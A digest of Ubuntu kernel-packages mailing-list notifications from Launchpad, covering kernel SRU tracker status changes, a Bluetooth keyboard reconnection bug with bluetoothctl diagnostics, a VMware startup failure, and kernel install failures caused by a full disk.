Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  In Progress
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-gcp source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787149
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787162/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787571] Re: Bluetooth keyboard won't connect again after connection was lost

2018-08-21 Thread sojusnik
Bluetooth "crashes" in the sense that I can't establish any Bluetooth
connection anymore, even from a device that was not paired or connected
at the moment the "crash" happened. Only a "sudo service bluetooth
restart" helps.

Therefore my /var/crash/ folder is empty.

I thought that this is the right place to handle such bugs. Who would
have the expertise to help me on that subject then?

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1787571

Title:
  Bluetooth keyboard won't connect again after connection was lost

Status in bluez package in Ubuntu:
  New

Bug description:
  After my Bluetooth keyboard from Logitech (K380) looses its
  connection, either after a Ubuntu restart or by manually turning the
  keyboard off an on, it won't connect any more. Additionally, while the
  keyboard tries to reestablish the connection, my Logitech Bluetooth
  mouse (M590) looses its connection too! After that I can't establish
  any Bluetooth connection at all. Only a "sudo service bluetooth
  restart" helps.

  Then my mouse reconnects easily, if it's not disrupted by my keyboard.
  So I'm only possible to use my mouse and not the keyboard, because
  while it tries to reconnect, it kills the connection of my mouse and
  everything starts over again.

  I've also tried to reconnect the keyboard through "bluetoothctl", but
  without success:

  $ bluetoothctl paired-devices
  Device 34:88:5D:42:7E:03 Keyboard K380
  Device FA:6A:9E:DA:2B:30 M585/M590

  $ bluetoothctl connect 34:88:5D:42:7E:03
  Attempting to connect to 34:88:5D:42:7E:03
  Failed to connect: org.bluez.Error.Failed

  
  Both devices are "trusted":

  $ bluetoothctl info 34:88:5D:42:7E:03
  Device 34:88:5D:42:7E:03 (public)
Name: Keyboard K380
Alias: Keyboard K380
Class: 0x2540
Icon: input-keyboard
Paired: yes
Trusted: yes
Blocked: no
Connected: no
LegacyPairing: no
UUID: Service Discovery Serve.. (1000--1000-8000-00805f9b34fb)
UUID: Human Interface Device... (1124--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
Modalias: usb:v046DpB342d4200

  $ bluetoothctl info FA:6A:9E:DA:2B:30
  Device FA:6A:9E:DA:2B:30 (random)
Name: M585/M590
Alias: M585/M590
Appearance: 0x03c2
Icon: input-mouse
Paired: yes
Trusted: yes
Blocked: no
Connected: yes
LegacyPairing: no
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: Device Information(180a--1000-8000-00805f9b34fb)
UUID: Battery Service   (180f--1000-8000-00805f9b34fb)
UUID: Human Interface Device(1812--1000-8000-00805f9b34fb)
UUID: Vendor specific   (0001--1000-8000-011f246d)
Modalias: usb:v046DpB01Bd0007

  $ bluetoothctl show
  Controller 2C:6F:C9:44:57:E0 (public)
Name: mir
Alias: mir
Class: 0x000c010c
Powered: yes
Discoverable: yes
Pairable: yes
UUID: Headset AG(1112--1000-8000-00805f9b34fb)
UUID: Generic Attribute Profile (1801--1000-8000-00805f9b34fb)
UUID: A/V Remote Control(110e--1000-8000-00805f9b34fb)
UUID: Generic Access Profile(1800--1000-8000-00805f9b34fb)
UUID: PnP Information   (1200--1000-8000-00805f9b34fb)
UUID: A/V Remote Control Target (110c--1000-8000-00805f9b34fb)
UUID: Audio Source  (110a--1000-8000-00805f9b34fb)
UUID: Audio Sink(110b--1000-8000-00805f9b34fb)
UUID: Headset   (1108--1000-8000-00805f9b34fb)
Modalias: usb:v1D6Bp0246d0532
Discovering: no

  
  The only way to use my Bluetooth keyboard is to pair it again, f.i. by doing:

  bluetoothctl
  remove XX:XX:XX:XX:XX:XX
  exit
  sudo service bluetooth restart
  bluetoothctl
  scan on
  trust XX:XX:XX:XX:XX:XX
  pair XX:XX:XX:XX:XX:XX
  connect XX:XX:XX:XX:XX:XX 
  exit

  
  This keyboard works flawlessly with my Android device and also on a MacBook 
Pro with macOS. It also worked well with another notebook (Toshiba Satellite 
Pro C850-1HL) from 17.04 to 18.04, which I don't own anymore.

  I've updated my BlueZ stack with ppa:bluetooth/bluez, but reverted
  back by purging it, because it didn't help.

  I also have some debug info FROM LAST WEEK. This was collected after a
  system restart and while the keyboard tried to reestablish the
  connection. At this time my BlueZ packages were from the PPA mentioned
  above:

  $ dpkg -l | grep blue
  ii  bluez  

[Kernel-packages] [Bug 1787982] Re: linux: 3.13.0-157.207 -proposed tracker

2018-08-21 Thread Steve Beattie
** Changed in: kernel-sru-workflow/security-signoff
   Status: Confirmed => In Progress

** Changed in: kernel-sru-workflow/security-signoff
 Assignee: Canonical Security Team (canonical-security) => Steve Beattie 
(sbeattie)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787982

Title:
  linux: 3.13.0-157.207 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Confirmed
Status in Kernel SRU Workflow certification-testing series:
  Confirmed
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  In Progress
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  New

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  backports: bug 1787983 (linux-lts-trusty)
  derivatives:
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787982/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

2018-08-21 Thread Łukasz Zemczak
** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: Confirmed => In Progress

** Changed in: kernel-sru-workflow/promote-to-proposed
 Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz 
Zemczak (sil2100)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-lts-trusty in Ubuntu.
https://bugs.launchpad.net/bugs/1787983

Title:
  linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Invalid
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  In Progress
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-lts-trusty package in Ubuntu:
  Invalid
Status in linux-lts-trusty source package in Precise:
  New

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787982
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

2018-08-21 Thread Łukasz Zemczak
** Changed in: kernel-sru-workflow/promote-to-proposed
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-lts-trusty in Ubuntu.
https://bugs.launchpad.net/bugs/1787983

Title:
  linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Invalid
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Committed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-lts-trusty package in Ubuntu:
  Invalid
Status in linux-lts-trusty source package in Precise:
  New

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787982
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1715552] Re: VMWare does not start

2018-08-21 Thread Jarl
It works with VMware 14.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1715552

Title:
  VMWare does not start

Status in linux package in Ubuntu:
  Confirmed

Bug description:
  Under Ubuntu 17.10 beta VMWare 12.5.7 cannot be started:

  /usr/lib/vmware/bin/vmware-modconfig: Relink `/lib/x86_64-linux-
  gnu/libbsd.so.0' with `/lib/x86_64-linux-gnu/librt.so.1' for IFUNC
  symbol `clock_gettime'

  Works under Ubuntu 17.04

  ProblemType: Bug
  DistroRelease: Ubuntu 17.10
  Package: linux-image-4.12.0-13-generic 4.12.0-13.14
  ProcVersionSignature: Ubuntu 4.12.0-13.14-generic 4.12.10
  Uname: Linux 4.12.0-13-generic x86_64
  ApportVersion: 2.20.7-0ubuntu1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC1:  wolf   9336 F pulseaudio
   /dev/snd/controlC0:  wolf   9336 F pulseaudio
  CurrentDesktop: ubuntu:GNOME
  Date: Thu Sep  7 07:53:43 2017
  HibernationDevice: RESUME=UUID=88d69bc7-ac96-42c6-bf6d-5c912964a63b
  InstallationDate: Installed on 2017-09-05 (1 days ago)
  InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Alpha amd64 (20170902)
  MachineType: Apple Inc. MacBookPro12,1
  ProcFB: 0 inteldrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.12.0-13-generic.efi.signed 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  RelatedPackageVersions:
   linux-restricted-modules-4.12.0-13-generic N/A
   linux-backports-modules-4.12.0-13-generic  N/A
   linux-firmware 1.167
  SourcePackage: linux
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/18/2017
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MBP121.88Z.0167.B33.1706181928
  dmi.board.name: Mac-E43C1C25D4880AD6
  dmi.board.vendor: Apple Inc.
  dmi.board.version: MacBookPro12,1
  dmi.chassis.type: 9
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-E43C1C25D4880AD6
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMBP121.88Z.0167.B33.1706181928:bd06/18/2017:svnAppleInc.:pnMacBookPro12,1:pvr1.0:rvnAppleInc.:rnMac-E43C1C25D4880AD6:rvrMacBookPro12,1:cvnAppleInc.:ct9:cvrMac-E43C1C25D4880AD6:
  dmi.product.family: MacBook Pro
  dmi.product.name: MacBookPro12,1
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1715552/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

2018-08-21 Thread Łukasz Zemczak
** Also affects: linux-lts-trusty (Ubuntu Precise)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-lts-trusty in Ubuntu.
https://bugs.launchpad.net/bugs/1787983

Title:
  linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Invalid
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Confirmed
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  New
Status in Kernel SRU Workflow security-signoff series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  New
Status in linux-lts-trusty package in Ubuntu:
  Invalid
Status in linux-lts-trusty source package in Precise:
  New

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1787982
  phase: Uploaded

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787931]

2018-08-21 Thread Mike Salvatore
Thank you for using Ubuntu and taking the time to report a bug. Your
report should contain, at a minimum, the following information so we can
better find the source of the bug and work to resolve it.

Submitting the bug about the proper source package is essential. For
help see https://wiki.ubuntu.com/Bugs/FindRightPackage . Additionally,
in the report please include:

1) The release of Ubuntu you are using, via 'cat /etc/lsb-release' or System -> 
About Ubuntu.
2) The version of the package you are using, via 'dpkg -l PKGNAME | cat' or by 
checking in Synaptic.
3) What happened and what you expected to happen.

The Ubuntu community has also created debugging procedures for a wide
variety of packages at https://wiki.ubuntu.com/DebuggingProcedures .
Following the debugging instructions for the affected package will make
your bug report much more complete. Thanks!

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787931

Title:
  package linux-image-4.4.0-133-generic (not installed) failed to
  install/upgrade: impossible de copier les données extraites pour «
  ./boot/vmlinuz-4.4.0-133-generic » vers «
  /boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun
  espace disponible sur le périphérique)

Status in linux package in Ubuntu:
  Invalid

Bug description:
  message : espace insufisant

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134
  Uname: Linux 4.4.0-131-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  amraoui052   1608 F pulseaudio
   /dev/snd/controlC1:  amraoui052   1608 F pulseaudio
  Date: Thu Aug 16 20:03:27 2018
  ErrorMessage: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  HibernationDevice: RESUME=UUID=d3976117-ce7f-4bd4-b7a3-a244cf609245
  InstallationDate: Installed on 2018-03-27 (145 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: ASUSTeK Computer INC. CM6731_CM6431_CM6331-8
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-131-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  Title: package linux-image-4.4.0-133-generic (not installed) failed to 
install/upgrade: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0501
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: CM6731_CM6431_CM6331
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr0501:bd09/05/2012:svnASUSTeKComputerINC.:pnCM6731_CM6431_CM6331-8:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnCM6731_CM6431_CM6331:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: CM6731_CM6431_CM6331-8
  dmi.product.version: System Version
  dmi.sys.vendor: ASUSTeK Computer INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787931/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787931] Re: package linux-image-4.4.0-133-generic (not installed) failed to install/upgrade: impossible de copier les données extraites pour « ./boot/vmlinuz-4.4.0-133-generic 

2018-08-21 Thread Mike Salvatore
It looks like you're out of disk space. Running `df -h` or `df -i` may
help you diagnose what partitions need attention.

** Information type changed from Private Security to Public

** Changed in: linux (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787931

Title:
  package linux-image-4.4.0-133-generic (not installed) failed to
  install/upgrade: impossible de copier les données extraites pour «
  ./boot/vmlinuz-4.4.0-133-generic » vers «
  /boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun
  espace disponible sur le périphérique)

Status in linux package in Ubuntu:
  Invalid

Bug description:
  message : espace insufisant

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134
  Uname: Linux 4.4.0-131-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  amraoui052   1608 F pulseaudio
   /dev/snd/controlC1:  amraoui052   1608 F pulseaudio
  Date: Thu Aug 16 20:03:27 2018
  ErrorMessage: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  HibernationDevice: RESUME=UUID=d3976117-ce7f-4bd4-b7a3-a244cf609245
  InstallationDate: Installed on 2018-03-27 (145 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: ASUSTeK Computer INC. CM6731_CM6431_CM6331-8
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-131-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  Title: package linux-image-4.4.0-133-generic (not installed) failed to 
install/upgrade: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0501
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: CM6731_CM6431_CM6331
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr0501:bd09/05/2012:svnASUSTeKComputerINC.:pnCM6731_CM6431_CM6331-8:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnCM6731_CM6431_CM6331:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: CM6731_CM6431_CM6331-8
  dmi.product.version: System Version
  dmi.sys.vendor: ASUSTeK Computer INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787931/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787932]

2018-08-21 Thread Mike Salvatore
Thank you for using Ubuntu and taking the time to report a bug. Your
report should contain, at a minimum, the following information so we can
better find the source of the bug and work to resolve it.

Submitting the bug about the proper source package is essential. For
help see https://wiki.ubuntu.com/Bugs/FindRightPackage . Additionally,
in the report please include:

1) The release of Ubuntu you are using, via 'cat /etc/lsb-release' or System -> 
About Ubuntu.
2) The version of the package you are using, via 'dpkg -l PKGNAME | cat' or by 
checking in Synaptic.
3) What happened and what you expected to happen.

The Ubuntu community has also created debugging procedures for a wide
variety of packages at https://wiki.ubuntu.com/DebuggingProcedures .
Following the debugging instructions for the affected package will make
your bug report much more complete. Thanks!

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787932

Title:
  package linux-image-4.4.0-133-generic (not installed) failed to
  install/upgrade: impossible de copier les données extraites pour «
  ./boot/vmlinuz-4.4.0-133-generic » vers «
  /boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun
  espace disponible sur le périphérique)

Status in linux package in Ubuntu:
  Invalid

Bug description:
  message : espace insufisant

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134
  Uname: Linux 4.4.0-131-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.18
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  amraoui052   1608 F pulseaudio
   /dev/snd/controlC1:  amraoui052   1608 F pulseaudio
  Date: Thu Aug 16 20:03:27 2018
  ErrorMessage: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  HibernationDevice: RESUME=UUID=d3976117-ce7f-4bd4-b7a3-a244cf609245
  InstallationDate: Installed on 2018-03-27 (145 days ago)
  InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  MachineType: ASUSTeK Computer INC. CM6731_CM6431_CM6331-8
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.4.0-131-generic 
root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=7
  PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No 
PulseAudio daemon running, or not running as session daemon.
  RelatedPackageVersions: grub-pc 2.02~beta2-36ubuntu3.18
  RfKill:
   0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
  SourcePackage: linux
  Title: package linux-image-4.4.0-133-generic (not installed) failed to 
install/upgrade: impossible de copier les données extraites pour « 
./boot/vmlinuz-4.4.0-133-generic » vers « 
/boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun espace 
disponible sur le périphérique)
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 09/05/2012
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: 0501
  dmi.board.asset.tag: To be filled by O.E.M.
  dmi.board.name: CM6731_CM6431_CM6331
  dmi.board.vendor: ASUSTeK COMPUTER INC.
  dmi.board.version: Rev X.0x
  dmi.chassis.asset.tag: Asset-1234567890
  dmi.chassis.type: 3
  dmi.chassis.vendor: Chassis Manufacture
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvr0501:bd09/05/2012:svnASUSTeKComputerINC.:pnCM6731_CM6431_CM6331-8:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnCM6731_CM6431_CM6331:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion:
  dmi.product.name: CM6731_CM6431_CM6331-8
  dmi.product.version: System Version
  dmi.sys.vendor: ASUSTeK Computer INC.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1787932/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


[Kernel-packages] [Bug 1787932] Re: package linux-image-4.4.0-133-generic (not installed) failed to install/upgrade: impossible de copier les données extraites pour « ./boot/vmlinuz-4.4.0-133-generic 

2018-08-21 Thread Mike Salvatore
It looks like you're out of disk space. Running `df -h` or `df -i` may
help you diagnose what partitions need attention.

** Information type changed from Private Security to Public

** Changed in: linux (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1787932

Title:
  package linux-image-4.4.0-133-generic (not installed) failed to
  install/upgrade: impossible de copier les données extraites pour «
  ./boot/vmlinuz-4.4.0-133-generic » vers «
  /boot/vmlinuz-4.4.0-133-generic.dpkg-new » : échec d'écriture (Aucun
  espace disponible sur le périphérique)

Status in linux package in Ubuntu:
  Invalid

Bug description:
  message : espace insufisant

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: linux-image-4.4.0-133-generic (not installed)
  ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134
